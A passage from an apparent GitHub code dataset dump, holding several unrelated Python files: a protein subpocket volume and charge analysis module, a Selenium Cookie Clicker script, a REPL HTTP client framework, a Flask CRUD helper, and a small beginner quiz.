__new__(cls, coords: Union[Tuple[float], List[float]]) -> np.array:\n if (len(coords) != 3):\n raise ValueError('Size of \\'coords\\' must be 3')\n\n try:\n for c in coords:\n if (not isinstance(float(c), float)):\n raise ValueError\n except ValueError:\n raise ValueError('Wrong value found in \\'coords\\'')\n\n return np.asarray(coords).view(cls)\n\n @property\n def x(self) -> float:\n return self[0]\n\n @property\n def y(self) -> float:\n return self[1]\n\n @property\n def z(self) -> float:\n return self[2]\n\n def write_to_PDB(self, path: Optional[str] = None,\n out_file: Optional[str] = None,\n point_id: int = 0):\n if (path is None and out_file is None):\n raise ValueError('Either a \\'path\\' or a \\'out_file\\' need to '\n + 'be supplied')\n\n if (out_file is not None):\n if (not isinstance(out_file, io.IOBase)):\n raise ValueError('Invalid \\'out_file\\'')\n out_file.write('ATOM {:3d} '.format(point_id)\n + 'CEN BOX A {:3d} '.format(point_id)\n + '{:>11.3f}{:>8.3f}{:>8.3f}'.format(*self)\n + ' 1.00 0.00\\n')\n\n if (path is not None):\n if (not isinstance(path, str)):\n raise ValueError('Invalid \\'path\\'')\n path = Path(path)\n if (not path.parent.isdir()):\n raise ValueError('Path {} does not exist'.format(path))\n\n with open(str(path), 'w') as f:\n f.write('ATOM {:3d} '.format(point_id)\n + 'CEN BOX A {:3d} '.format(point_id)\n + '{:>11.3f}{:>8.3f}{:>8.3f}'.format(*self)\n + ' 1.00 0.00\\n')\n\n\nclass Subpocket(object):\n def __init__(self, list_of_residues: List[Residue],\n radius: Optional[Union[str, float, int]] = None):\n self._list_of_residues = list_of_residues\n if (radius is None):\n self.fixed_radius = None\n else:\n try:\n self.fixed_radius = float(radius)\n except ValueError:\n raise ValueError('Wrong subpocket radius')\n self._ligand_atoms = [] # type: list\n self._ligand_template = None # type: Optional[ImpactTemplate]\n self._ligand_aromaticity = None # type: Optional[Dict[str, bool]]\n\n @property\n def list_of_residues(self) -> List[Residue]:\n return self._list_of_residues\n\n @property\n def ligand_atoms(self) -> list:\n return self._ligand_atoms\n\n @property\n def ligand_template(self) -> Optional[ImpactTemplate]:\n return self._ligand_template\n\n @property\n def ligand_aromaticity(self) -> Optional[Dict[str, bool]]:\n return self._ligand_aromaticity\n\n def set_ligand_atoms(self, topology: md.Trajectory, lig_resname: str):\n snapshot = md.load(str(topology))\n\n self._ligand_atoms = []\n atom_ids = snapshot.top.select('resname {}'.format(lig_resname))\n for atom_id in atom_ids:\n atom = snapshot.top.atom(atom_id)\n self._ligand_atoms.append(atom)\n\n def set_ligand_template(self, lig_template: ImpactTemplate):\n self._ligand_template = lig_template\n\n def set_ligand_aromaticity(self,\n ligand_aromaticity: Dict[str, bool]):\n self._ligand_aromaticity = ligand_aromaticity\n\n def get_residue_coords(self, snapshot: md.Trajectory) -> np.array:\n coords = []\n for r in self.list_of_residues:\n index = snapshot.top.select('chainid {} '.format(r.chain_id)\n + 'and residue {} '.format(r.res_id)\n + 'and name CA')\n coords.append(snapshot.xyz[0][index][0] * 10)\n\n return np.stack(coords)\n\n def get_centroid(self, snapshot: md.Trajectory\n ) -> Tuple[Point, np.array]:\n coords = self.get_residue_coords(snapshot)\n\n return Point(np.mean(coords, axis=0)), coords\n\n def get_default_radius(self, snapshot: md.Trajectory\n ) -> Tuple[float, Point]:\n centroid, coords = self.get_centroid(snapshot)\n\n radius = np.sqrt(np.max(\n [squared_distances(c, centroid) for c in coords]))\n\n return radius, centroid\n\n def get_volume(self, snapshot: md.Trajectory) -> float:\n radius = self.fixed_radius # type: Optional[float]\n\n if (self.fixed_radius is None):\n radius, _ = self.get_default_radius(snapshot)\n\n return FOUR_THIRDS_PI * np.power(radius, 3)\n\n def _calculate_intersections(self, atom_radii: Dict[str, float],\n atom_coords: Dict[str, np.array],\n centroid: Point, s_r: float\n ) -> Dict[str, float]:\n intersections = {}\n for atom, a_r in atom_radii.items():\n # Calculate bounds\n lower_bound = np.abs(s_r - a_r)\n upper_bound = s_r + a_r\n\n # Calculate distance d between centers\n coords = atom_coords[atom]\n d = np.linalg.norm(centroid - coords)\n\n # Minimum radius\n min_radius = np.min((a_r, s_r))\n\n # Calculate intersections\n if (d >= upper_bound):\n intersections[atom] = 0.\n elif (d <= lower_bound):\n intersections[atom] = FOUR_THIRDS_PI * np.power(min_radius, 3)\n else:\n intersections[atom] = np.pi\n intersections[atom] *= np.power(s_r + a_r - d, 2)\n dd = np.power(d, 2)\n da = 2 * d * a_r\n aa = -3 * np.power(a_r, 2)\n ds = 2 * d * s_r\n ss = -3 * np.power(s_r, 2)\n sa = 6 * s_r * a_r\n intersections[atom] *= dd + da + aa + ds + ss + sa\n intersections[atom] /= 12 * d\n\n return intersections\n\n def get_intersections(self, snapshot: md.Trajectory, ligand_resname: str,\n centroid: Point = None, radius: float = None\n ) -> Dict[str, float]:\n if (centroid is None or radius is None):\n if (self.fixed_radius is None):\n radius, centroid = self.get_default_radius(snapshot)\n else:\n radius = self.fixed_radius\n centroid, _ = self.get_centroid(snapshot)\n\n lig = snapshot.topology.select('resname {}'.format(ligand_resname))\n\n atom_radius = {}\n atom_coords = {}\n for atom_id in lig:\n atom = snapshot.top.atom(atom_id)\n name = atom.name\n atom_radius[name] = atom.element.radius * 10 # In angstroms\n atom_coords[name] = snapshot.xyz[0][atom_id] * 10 # In angstroms\n\n intersections = self._calculate_intersections(atom_radius, atom_coords,\n centroid, radius)\n\n return intersections\n\n def get_sum_of_intersections(self, snapshot: md.Trajectory,\n ligand_resname: str, centroid: Point = None,\n radius: float = None) -> Dict[str, float]:\n intersections = self.get_intersections(snapshot, ligand_resname,\n centroid, radius)\n return np.sum(list(intersections.values()))\n\n def get_nonpolar_intersection(self, intersections: Dict[str, float]\n ) -> float:\n try:\n assert isinstance(self.ligand_template, ImpactTemplate)\n except AssertionError:\n raise AssertionError('Ligand template was not set')\n\n nonpolar_intersection = float(0)\n for atom in self.ligand_atoms:\n intersection = intersections[atom.name]\n element = atom.element.name\n charge = self.ligand_template.get_parameter_by_name(atom.name,\n 'charge')\n\n if ((element == 'carbon' or element == 'hydrogen')\n and (charge <= 0.2)):\n nonpolar_intersection += intersection\n\n return nonpolar_intersection\n\n def get_aromatic_intersection(self, intersections: Dict[str, float]\n ) -> float:\n try:\n assert isinstance(self.ligand_aromaticity, dict)\n except AssertionError:\n return -1.0\n\n aromatic_intersection = float(0)\n for atom in self.ligand_atoms:\n intersection = intersections[atom.name]\n try:\n aromatic = self.ligand_aromaticity[atom.name]\n except KeyError:\n if current_process()._identity == (1,): # type: ignore\n print(' - Warning: invalid ligand aromaticity file, '\n + 'aromatic occupancy will not be calculated')\n self._ligand_aromaticity = None\n return -1.0\n\n if aromatic:\n aromatic_intersection += intersection\n\n return aromatic_intersection\n\n def get_charge(self, intersections: Dict[str, float]\n ) -> Tuple[float, float, float]:\n try:\n assert isinstance(self.ligand_template, ImpactTemplate)\n except AssertionError:\n raise AssertionError('Ligand template was not set')\n\n net_charge = float(0)\n positive_charge = float(0)\n negative_charge = float(0)\n for atom in self.ligand_atoms:\n intersection = intersections[atom.name]\n\n # Radius in angstroms\n radius = atom.element.radius * 10\n volume = FOUR_THIRDS_PI * np.power(radius, 3)\n charge = self.ligand_template.get_parameter_by_name(\n atom.name, 'charge')\n norm_charge = charge * intersection / volume\n\n net_charge += norm_charge\n\n if norm_charge > 0:\n positive_charge += norm_charge\n elif norm_charge < 0:\n negative_charge += norm_charge\n\n return net_charge, positive_charge, negative_charge\n\n def full_characterize(self, snapshot: md.Trajectory, ligand_resname: str\n ) -> Tuple[Point, float, Dict[str, float], float,\n float, float, float, float]:\n if (self.fixed_radius is None):\n radius, centroid = self.get_default_radius(snapshot)\n else:\n radius = self.fixed_radius\n centroid, _ = self.get_centroid(snapshot)\n intersections = self.get_intersections(snapshot, ligand_resname,\n centroid, radius)\n\n np_intersection = self.get_nonpolar_intersection(intersections)\n\n aromatic_intersection = self.get_aromatic_intersection(intersections)\n\n net_charge, positive_charge, negative_charge = self.get_charge(\n intersections)\n\n return centroid, FOUR_THIRDS_PI * np.power(radius, 3), \\\n np.sum(list(intersections.values())), np_intersection, \\\n aromatic_intersection, net_charge, positive_charge, negative_charge\n\n\ndef build_residues(residues_list: List[Tuple[Union[str, int], int]],\n chain_ids_map: ChainConverterForMDTraj = None\n ) -> List[Residue]:\n \"\"\"\n It builds an array of Residue objects\n\n Parameters\n ----------\n residues_list : list of (chain_id, residue_id)\n It is a list of residue identifiers that will be used to build\n Residue objectes\n\n Returns\n -------\n residue_objects : list of Residue objects\n It contains the Residue objectes that have been created with the\n given identifiers\n \"\"\"\n\n residue_objectes = []\n\n for r in residues_list:\n # Check format\n try:\n c_id, r_id = r\n except ValueError:\n raise ValueError('Wrong format in \\'residues_list\\', only '\n + '2-dimensional tuples are allowed: '\n + '(chain_id, residue_id)')\n\n # Check types\n if (not isinstance(c_id, int) and not isinstance(c_id, str)):\n raise TypeError('Wrong \\'chain_id\\', it can only be a '\n + 'string or an integer')\n elif (isinstance(c_id, str) and len(c_id) > 1):\n raise TypeError('Wrong \\'chain_id\\', only single-character '\n + 'strings are acepted')\n if (not isinstance(r_id, int)):\n raise TypeError('Wrong \\'residue_id\\', it can only be '\n + 'an integer')\n if (chain_ids_map is not None):\n if (not isinstance(chain_ids_map, ChainConverterForMDTraj)):\n raise TypeError('Wrong \\'chain_ids_map\\', it has to be '\n + 'an instance of ChainCovertedForMDTraj '\n + 'class')\n\n # Convert chain_id to the right id\n if (isinstance(c_id, str)):\n if (chain_ids_map is None):\n raise ValueError('When a character is supplied, a '\n + '\\'chain_ids_map\\' is also required')\n c_id = chain_ids_map.map[c_id.upper()]\n\n residue_objectes.append(Residue(c_id, r_id))\n\n return residue_objectes\n\n\ndef read_subpocket_dataframe(all_sim_it: SimIt, csv_file_name: str,\n metric: str) -> Tuple[List[str], str, str]:\n columns = []\n for PELE_sim_path in all_sim_it:\n if (not PELE_sim_path.joinpath(csv_file_name).is_file()):\n print(' - Skipping simulation because subpockets csv file '\n + 'was missing')\n continue\n\n data = pd.read_csv(PELE_sim_path.joinpath(csv_file_name))\n data = data.loc[:, ~data.columns.str.contains('^Unnamed')]\n\n for col in data.columns:\n if (col.endswith(metric)):\n if (metric == 'intersection'\n and col.endswith('nonpolar_intersection')):\n continue\n if (metric == 'intersection'\n and col.endswith('aromatic_intersection')):\n continue\n if (col not in columns):\n columns.append(col)\n\n pretty_metric = metric.replace('_', ' ')\n if (metric == 'intersection' or metric == 'nonpolar_intersection'\n or metric == 'aromatic_intersection'):\n if (len(pretty_metric.split()) > 1):\n pretty_metric = pretty_metric.split()[0] + ' volume ' + \\\n pretty_metric.split()[1]\n else:\n pretty_metric = 'volume ' + pretty_metric\n units = '$\\AA^3$'\n # TODO get rid of this compatibility issue\n pretty_metric = pretty_metric.replace('intersection', 'occupancy')\n else:\n pretty_metric += ' occupancy'\n units = 'a.u.'\n\n print(' - Subpockets found:')\n for col in columns:\n print(' - {}'.format(col.strip('_' + metric)))\n\n if (len(columns) == 0):\n raise ValueError('No subpocket {} '.format(pretty_metric)\n + 'were found in the simulation paths that '\n + 'were supplied')\n\n return columns, pretty_metric, units\n","repo_name":"martimunicoy/COVID_VS_analysis","sub_path":"Helpers/Subpockets.py","file_name":"Subpockets.py","file_ext":"py","file_size_in_byte":17641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9788464049","text":"from selenium import webdriver\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nimport logging\nimport time\nlogging.basicConfig(filename=\"scrapper3.log\", level=logging.INFO)\n\n\nPATH = \"C:\\Program Files (x86)\\chromedriver.exe\"\ndriver = webdriver.Chrome(service=Service(PATH))\ndriver.get(\"https://orteil.dashnet.org/cookieclicker/\")\ntry:\n driver.save_screenshot(\"homepage.png\")\n actions = ActionChains(driver)\n driver.implicitly_wait(20)\n lang_eng = driver.find_element(By.ID, \"langSelect-EN\")\n lang_eng.click()\n # cookie = driver.find_element(By.ID, \"bigCookie\")\n wait = WebDriverWait(driver, 15)\n cookie = wait.until(EC.element_to_be_clickable((By.ID, \"bigCookie\")))\n cookie_count = driver.find_element(By.ID, \"cookies\")\n items = [driver.find_element(By.ID, \"productPrice\" + str(i)) for i in range(1, -1, -1)]\n\n actions.click(cookie)\n for i in range(500):\n actions.perform()\n time.sleep(2)\n\nexcept Exception as e:\n logging.info(e)\n\nfinally:\n time.sleep(5)\n driver.quit()\n\n\n\n\n\n\n","repo_name":"HimrajDas/selenium","sub_path":"not completed/script_3.py","file_name":"script_3.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73721701848","text":"import imp\nfrom operator import is_\nfrom typing import Callable, Optional, Tuple, Literal, Any\nfrom xmlrpc.client import Boolean\nfrom requests import get, post, Response\nfrom prompt_toolkit import print_formatted_text, HTML\nfrom prompt_toolkit.shortcuts import ProgressBar\nfrom .errors import SignatureBaseError, UpdateBaseError, BulkUpdateError\nfrom .helpers import CommandManager\nimport sys, re, inspect\nimport time\n\nfrom .models import validate_update_packet\n\nresponse = None\n\"\"\"\nsignature = {\n \"load\" : {\"fast\", \"slow\"}\n}\n\n>>context : load slow path [VALUE PARAMETER]\n\"\"\"\ndef unwrap_maybe_to_json(f):\n def decorated(*args, **kwargs):\n ans:Response = f(*args, **kwargs)\n print(f\"Bop {ans.content}\", file=sys.stderr)\n try :\n _ = ans.json()\n except Exception as e:\n _ = ans.text\n print(f\"Bip {_}\", file=sys.stderr)\n return _\n return decorated\n\n\n \n@unwrap_maybe_to_json\ndef chunk_process(url, data, prefix):\n d = { prefix : data }\n ans:Response = post(url, json = d )\n print(\"Inside\", ans.content, file=sys.stderr)\n if ans.status_code != 200:\n #if ans.status_code > 299 and ans.status_code < 400:\n # print(\"300ish\", ans.status_code, file=sys.stderr)\n # return ans\n #else:\n raise BulkUpdateError(f\"Following bulk packet returned code {ans.status_code}:\\n{ d }\")\n \n return ans\n \n\n\"\"\"\nCoherce content of the return of a user mutator function into\n(data_to_post, Response_processor)\n\"\"\"\ndef unwrap_data_callable_2uple(d:Any)->Tuple[dict, Callable]:\n if type(d) is tuple or type(d) is list:\n print(f\"d looks like : {d}\", file=sys.stderr)\n if len(d) == 2:\n print(f\"d[1] type is : {type(d[1])}\", file=sys.stderr)\n if callable(d[1]): # Here\n return d\n print(f\"returning d, ans_proc from a {type(d)}\", file=sys.stderr)\n print(f\"{(d, answer_processor)}\", file=sys.stderr)\n return (d, answer_processor)\n\ndef assert_iterable(d):\n try :\n for i in d:\n pass\n except Exception as e:\n raise TypeError(f\"{d} is not iterable\")\n return True\n\ndef unwrap_iter_callable_3uple(d:Any)->Tuple[Any, Callable, Callable]:\n if not (type(d) is tuple or type(d) is list): \n assert_iterable(d)\n return (d, packet_formatter)\n \n if not callable(d[1]) or not callable(d[2]):\n raise TypeError(\"Second or third value is not callable\")\n\n return d[:3]\n\ndef packet_formatter(data): \n return data\n\ndef answer_processor(answer:Response):\n try:\n #d = answer.json()\n content = answer.content\n if answer.status_code != 200:\n print_formatted_text(HTML(f\"A problem occured {answer.status_code}\\n\\t{content}\"))\n else :\n print_formatted_text(HTML(f\"Success{content}\"))\n except Exception as e:\n print_formatted_text(HTML(f\"A problem occured {content}\"))\n\n\n\ndef get_response():\n global response\n return response\n\n\ndef my_decorator(arg):\n def inner_decorator(f):\n def wrapped(*args, **kwargs):\n print('before function')\n response = f(*args, **kwargs)\n print('after function')\n return response\n print('decorating', f, 'with argument', arg)\n return wrapped\n return inner_decorator\n\ndef _exit():\n s = \"\"\" . . .\n . . -)------+====+ .\n -)----==== ,' ,' . .\n . `. `.,;___,' .\n `, |____l_\n _,....------c==]\"\"______ |,,,,,,.....____ _\n . . \"-:_____________ |____l_|]''''''''''' . .\n ,'\"\",'. `.\n . -)-----==== `. `. See you space cowboy \n . -)-------+====+ . .\n . .\"\"\"\n print_formatted_text(HTML(s))\n #print_formatted_text(HTML(f\"\\n\\n\"))\n exit(0)\n\ndef _connection_test(host=\"localhost\", port=1234, route=\"/hello\")->Boolean:\n url=f\"{host}:{port}{route}\"\n try :\n ans = get(f\"http://{url}\")\n assert ans.status_code == 200\n except Exception as e:\n print_formatted_text(HTML(f\"Unable to establish connnection at {url}\"))\n return False\n print_formatted_text(HTML(f\"Successfull connection at {url}\"))\n return True\n\nDEFAULT_COMMANDS = {\n 'exit' : {\n \"target\" : _exit,\n \"prototype\" : \"exit\",\n \"help_msg\" : \"Close the interface\",\n },\n 'connect' : {\n \"target\" : _connection_test,\n \"help_msg\" : \"Connect to the service\",\n \"prototype\" : \"connect {host:_string} {port:_number} {my_route:_string}\"\n }\n}\n\n # NExt step is to add default value for autosuggest !! \n #\"prototype\" : \"connect {host:_string=120.0.0.1} {port:_number=1234} {my_route:_string=/handshake}\"\n\n\nclass Application():\n def __init__(self, host=\"localhost\", port=1234, route=\"/\", auto_connect=False):\n self.host = host\n self.port = port\n self.handshake_route = route\n self.viewer_map = {}\n self.default_map = {}\n self.long_pool_map = {}\n self.command_registry = CommandManager()\n self.help_is_ready = False\n self.is_connected = False\n\n for basic_cmd, data_cmd in DEFAULT_COMMANDS.items():\n print(f\"Adding to default command registry {basic_cmd}\",file=sys.stderr)\n self.command_registry.add(data_cmd[\"prototype\"], data_cmd[\"target\"], data_cmd[\"help_msg\"])\n \n self.default_map[basic_cmd] = data_cmd[\"target\"]\n\n if auto_connect:\n self.is_connected = self.launch('connect', self.host, self.port, self.handshake_route)\n \n def help(self, cmd)->Tuple[str,str]:\n proto_input_string, proto_comments = self.command_registry.help(cmd)\n print(f\"HH {proto_input_string} // {proto_comments}\", file=sys.stderr)\n return proto_input_string, proto_comments\n\n def isa(self, cmd):\n return cmd in self.available_commands\n \n\n def generate_url(self, f:Callable, url_ressource_specs:str, *args):\n callable_arg_specs = inspect.getfullargspec(f)\n for i_arg, arg_name in enumerate(callable_arg_specs.args):\n value = args[i_arg] \n url_ressource_specs = url_ressource_specs.replace('{' + str(arg_name) + '}', str(value) )\n url = f\"http://{self.host}:{self.port}{url_ressource_specs}\" \n return url\n \"\"\"\n viewer decorator provides view only on ressources\n GET\n POST?\n \"\"\"\n def viewer(self, ressource_path:str, prototype:str, help_msg:str):\n def inner_decorator(f):\n self.assert_register(f, prototype, help_msg, ressource_path)\n\n def wrapped(*args, **kwargs): \n global response\n url = self.generate_url(f, ressource_path, *args)\n response = get(url)\n print(f\"wrapped{url}\", file=sys.stderr) \n ans = f(*args, **kwargs) \n return ans\n print('decorating', f, 'with argument', ressource_path, file=sys.stderr)\n #return wrapped\n self.viewer_map[f.__name__] = wrapped \n return inner_decorator\n\n\n RequestType=Literal['POST', 'GET']\n\n \"\"\"\n viewer decorator provides view only on ressources\n GET\n POST?\n \"\"\"\n def mutator(self, ressource_path:str, prototype:str, help_msg:str, method='POST'):\n def inner_decorator(f):\n # Register prototype\n self.assert_register(f, prototype, help_msg, ressource_path)\n \n def wrapped(*args, **kwargs):\n # Check and cast *args\n \n datum_to_post, ans_processor = unwrap_data_callable_2uple(\n f(*args, **kwargs)\n )\n url = self.generate_url(f, ressource_path, *args)\n if method == \"POST\":\n print(f\"About to json in request his:{datum_to_post}\", file=sys.stderr)\n ans:Response = post(url, json = datum_to_post)\n else: \n raise TypeError(\"method ??\")\n return ans_processor(ans)\n self.viewer_map[f.__name__] = wrapped\n \n return inner_decorator\n \n def bulk(self, ressource_path:str, prototype:str, help_msg:str, \n method='POST', size= 50, prefix=\"data\",\n validator = lambda x: True # or we could use pkt formater\n ):\n def inner_decorator(f):\n self.assert_register(f, prototype, help_msg, ressource_path)\n def wrapped(*args, **kwargs):\n url = self.generate_url(f, ressource_path, *args)\n\n \n #iterable, pktfmtr, ans_processor = unwrap_iter_callable_3uple(\n # f(*args, **kwargs)\n # ) \n\n iterable = f(*args, **kwargs) \n try :\n _ = len(iterable)\n _len = _\n except Exception:\n _len = -1\n\n chunks_msg = []\n def updater(iterable):\n buffer = []\n for icnt, datum in enumerate(iterable):\n buffer.append(datum)\n if (icnt+1) % size == 0:\n _ = chunk_process(url, buffer, prefix)\n chunks_msg.append(_) #+= be better\n buffer = []\n for _ in range(size):\n yield icnt+1 - (size - (_ + 1))\n if buffer:\n _ = chunk_process(url, buffer, prefix)\n chunks_msg.append(_) #+= be betters\n for _ in range(len(buffer)):\n # print(f\"y{ icnt+1 - (len(buffer) - (_ + 1))}\", file=sys.stderr)\n yield icnt+1 - (len(buffer) - (_ + 1))\n \n\n with ProgressBar() as pb: \n for i in pb( updater(iterable) , total=int(_len) ):\n #time.sleep(float(0.01))\n pass\n\n return validator(chunks_msg)\n\n self.long_pool_map[f.__name__] = wrapped\n return inner_decorator\n\n def long_pool(self, ressource_path:str, prototype:str, help_msg:str, \n method='POST', delay=0.5, total=100):\n\n def inner_decorator(f):\n # Register prototype\n self.assert_register(f, prototype, help_msg, ressource_path) \n \n def wrapped(*args, **kwargs):\n\n datum_to_post, ans_processor = unwrap_data_callable_2uple(\n f(*args, **kwargs)\n )\n print(datum_to_post, ans_processor, file=sys.stderr)\n def pool():\n print(datum_to_post, file=sys.stderr)\n url = self.generate_url(f, ressource_path, *args)\n ans:Response = post(url, json = datum_to_post)\n _ = ans_processor(ans)\n curr, max_val, is_done = validate_update_packet(f.__name__, *_) \n return curr, max_val, is_done \n \n try:\n curr, max_val, is_done = pool()\n print(curr, max_val, is_done, \" <== initial pool\", file=sys.stderr)\n if is_done:\n ## Display success\n return True\n\n total = int(total) if max_val is None else int(max_val) \n def updater():\n pb_count = 0\n is_done = False\n while not is_done:\n curr, max_val, is_done = pool() \n print(\"#update iter\", curr, max_val, is_done, \"#\", file=sys.stderr)\n while pb_count < curr:\n pb_count += 1 \n yield curr\n \n with ProgressBar() as pb: \n for i in pb( updater() , total=int(total) ):\n time.sleep(float(delay))\n return True\n except UpdateBaseError as e:\n print_formatted_text(str(e))\n return False\n\n self.long_pool_map[f.__name__] = wrapped\n \n return inner_decorator\n\n def assert_register(self, f, prototype, help_msg, ressource_path):\n try:\n self.command_registry.add(prototype, f, comments=help_msg)\n # Check decorated function matches prototype\n self.command_registry.assert_callable(f, ressource_path)\n except SignatureBaseError as e:\n print_formatted_text( HTML(f\" STARTUP ERROR:\\t{str(e)}\\n\") )\n exit()\n \n @property\n def available_commands(self):\n return self.command_registry.available_commands\n \n def get_f_by_symbol(self, sym)->Optional[Callable]:\n if sym in self.viewer_map:\n return self.viewer_map[sym]\n if sym in self.default_map:\n return self.default_map[sym]\n if sym in self.long_pool_map:\n return self.long_pool_map[sym]\n print(f\"no callable named!! {sym}\", file=sys.stderr)\n return None\n\n def launch(self, cmd_name, *args, **kwargs):# ONLY VIEWER FOR NOW\n\n print(f\"launch!! {cmd_name}\", file=sys.stderr)\n\n try :\n fn = self.get_f_by_symbol(cmd_name)\n _args = self.command_registry.signature_check_and_arg_coherce(fn, cmd_name, *args, **kwargs) \n _ = fn(*_args, **kwargs)\n except SignatureBaseError as e:\n print_formatted_text(HTML(str(e)))\n return None\n except Exception as e:\n print_formatted_text(HTML(f\"{str(e)}\"))\n return None\n return _\n \n @property\n def auto_suggest(self):\n return self.command_registry.suggester\n\n @property\n def auto_complete(self):\n return self.command_registry.completer\n\n\n\"\"\"\nviewer decorator provides mutations on ressources\nGET\nPOST\n\"\"\"\ndef mutator(arg):\n def inner_decorator(f):\n def wrapped(*args, **kwargs):\n print('before function')\n response = f(*args, **kwargs)\n print('after function')\n return response\n print('decorating', f, 'with argument', arg)\n return wrapped\n return inner_decorator\n","repo_name":"MMSB-MOBI/repl_core","sub_path":"repl_core/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":15370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71352081367","text":"import attr\nfrom flask import current_app\n\nCRUD_OPERATIONS = (\"create\", \"read\", \"update\", \"delete\")\n\n\ndef get_logger():\n return current_app.logger\n\n\ndef get_session():\n return current_app.extensions[\"model_management\"].db.session\n\n\n@attr.s\nclass CRUDFailure(Exception):\n message = attr.ib()\n operation_name = attr.ib()\n\n\ndef get_crud():\n return CRUDApplication(CRUD)\n\n\n@attr.s\nclass CRUD:\n \"\"\"A service that accepts sqlalchemy models performs crud operations on them\"\"\"\n\n model = attr.ib()\n\n def get_entries(self, session, filter_by: dict):\n query = session.query(self.model)\n if filter_by:\n for k, v in filter_by.items():\n query = query.filter_by(**{k: v})\n\n return query.all()\n\n def create(self, insert: dict):\n session = get_session()\n\n entry = self.model(**insert)\n session.add(entry)\n try:\n session.commit()\n except Exception as e:\n session.rollback()\n raise CRUDFailure(str(e), \"create\") from e\n\n session.refresh(entry)\n return entry\n\n def read(self, filter_by: dict) -> list:\n session = get_session()\n\n try:\n result = self.get_entries(session, filter_by)\n except Exception as e:\n session.rollback()\n raise CRUDFailure(str(e), \"read\") from e\n\n return result\n\n def update(self, filter_by: dict, insert: dict) -> list:\n session = get_session()\n\n entries = self.get_entries(session, filter_by)\n for entry in entries:\n for k, v in insert.items():\n setattr(entry, k, v)\n try:\n session.commit()\n except Exception as e:\n session.rollback()\n raise CRUDFailure(str(e), \"update\") from e\n\n return entries\n\n def delete(self, filter_by) -> list:\n session = get_session()\n\n entries = self.get_entries(session, filter_by)\n if entries:\n for entry in entries:\n session.delete(entry)\n\n try:\n session.commit()\n except Exception as e:\n session.rollback()\n raise CRUDFailure(str(e), \"delete\") from e\n\n return entries\n\n\n@attr.s\nclass CRUDApplication:\n crud = attr.ib()\n\n @staticmethod\n def parse_entry(row):\n return {\n k: str(v) if v else \"NULL\" for k, v in row.__dict__.items() if k != \"_sa_instance_state\"\n }\n\n def create_single(self, model, insert):\n get_logger().info(f\"CRUD APP CREATE: insert: {insert}\")\n entry = self.crud(model.model).create(insert)\n result = self.parse_entry(entry)\n get_logger().info(f\"CRUD APP CREATE: data output: {result}\")\n return result\n\n def create_bulk(self):\n raise NotImplementedError()\n\n def read_single(self):\n raise NotImplementedError()\n\n def read_bulk(self, model, filter_by):\n get_logger().info(f\"CRUD APP READ: filter: {filter_by}\")\n entries = self.crud(model.model).read(filter_by)\n result = [self.parse_entry(e) for e in entries]\n get_logger().info(f\"CRUD APP READ: data output: {result}\")\n return result\n\n def update_single(self):\n raise NotImplementedError()\n\n def update_bulk(self, model, filter_by, insert):\n get_logger().info(f\"CRUD APP UPDATE: filter: {filter_by}, insert: {insert}\")\n entries = self.crud(model.model).update(filter_by, insert)\n result = [self.parse_entry(e) for e in entries]\n get_logger().info(f\"CRUD APP UPDATE: data output: {result}\")\n return result\n\n def delete_single(self):\n raise NotImplementedError()\n\n def delete_bulk(self, model, filter_by):\n get_logger().info(f\"CRUD APP UPDATE: filter: {filter_by}\")\n entries = self.crud(model.model).delete(filter_by)\n result = [self.parse_entry(e) for e in entries]\n get_logger().info(f\"CRUD APP UPDATE: data output: {result}\")\n return result\n","repo_name":"jackwardell/Flask-Model-Management","sub_path":"flask_model_management/crud.py","file_name":"crud.py","file_ext":"py","file_size_in_byte":3995,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"40746089640","text":"\"\"\"Finite-dimensional linear operators \"\"\"\n\nfrom ._kernel_matrix import KernelMatrix\nfrom ._low_rank import LowRankMatrix\n\n# Public classes and functions. Order is reflected in documentation.\n__all__ = [\n \"KernelMatrix\",\n \"LowRankMatrix\",\n]\n# Set correct module paths. Corrects links and module paths in documentation.\nKernelMatrix.__module__ = \"itergp.linops\"\nLowRankMatrix.__module__ = \"itergp.linops\"\n","repo_name":"JonathanWenger/itergp","sub_path":"src/itergp/linops/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"31"} +{"seq_id":"28023425460","text":"# 0 = True, 1 = False\n\nprint('Vanila or Chocolate??')\n\ncubic1 = int(input('Do you like super delicious smell?, 1 = True and 0 = False: '))\ncubic2 = int(input('Do you like white-yellow or normal-white color?, 1 = white-yellow and 0 = normal-white: '))\ncubic3 = int(input('Do you like coffee?, 0 = True and 1 = False: '))\n\ncubic4 = int(input('Do you like crunchy cookie?, 0 = True and 1 = False: '))\ncubic5 = int(input('Do you like pen or pencil?, 0 = pen and 1 = pencil: '))\ncubic6 = int(input('Do you like a lot of cream in cake?, 0 = True and 1 = False: '))\n\ncubic7 = int(input('Do you like coke or sprite?, 0 = coke and 1 = sprite: '))\ncubic8 = int(input('Do you like wearing mask?, 0 = True and 1 = False: '))\ncubic9 = int(input('Are you hardworking(answer this honestly!)?, 0 = True and 1 = False: '))\n\n# cubicA\n\ncubicA = 0\n\nif cubic1 + cubic2 + cubic3 <= 1:\n cubicA += 0\nif cubic1 + cubic2 + cubic3 >= 2:\n cubicA += 1\n\n# cubicB\n\ncubicB = 0\n\nif cubic4 + cubic5 + cubic6 <= 1:\n cubicB += 0\nif cubic4 + cubic5 + cubic6 >= 2:\n cubicB += 1\n\n# cubicC\n\ncubicC = 0\n\nif cubic7 + cubic8 + cubic9 <= 1:\n cubicC += 0\nif cubic7 + cubic8 + cubic9 >= 2:\n cubicC += 1\n\n# cubicZ\n\ncubicZ = 0\n\nif cubicA + cubicB + cubicC <= 1:\n cubicZ += 0\nif cubicA + cubicB + cubicC >= 2:\n cubicZ += 1\n\nprint(cubic1, cubic2, cubic3, cubicA)\nprint(cubic4, cubic5, cubic6, cubicB)\nprint(cubic7, cubic8, cubic9, 